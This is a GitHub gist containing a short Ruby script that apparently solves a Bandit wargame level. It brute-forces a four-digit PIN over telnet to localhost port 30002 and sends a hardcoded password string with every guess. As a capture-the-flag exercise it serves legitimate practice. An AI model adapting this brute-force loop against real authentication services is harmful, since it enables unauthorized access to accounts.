Skip to content

Instantly share code, notes, and snippets.

@rajiteh
Created January 23, 2015 03:36
Show Gist options
  • Save rajiteh/3a59374c358a65d8f503 to your computer and use it in GitHub Desktop.
Save rajiteh/3a59374c358a65d8f503 to your computer and use it in GitHub Desktop.
bandit.rb
#!/usr/bin/env ruby
require 'net/telnet'
localhost = Net::Telnet::new("Host" => "localhost", "Port" => 30002)
for count in 0..9999
pin = sprintf("%4d", count)
puts "Trying #{pin}"
localhost.cmd("String" => "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ #{pin}", "Match" => /^Wrong!.*/n) { |a| puts a }
end
localhost.close
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment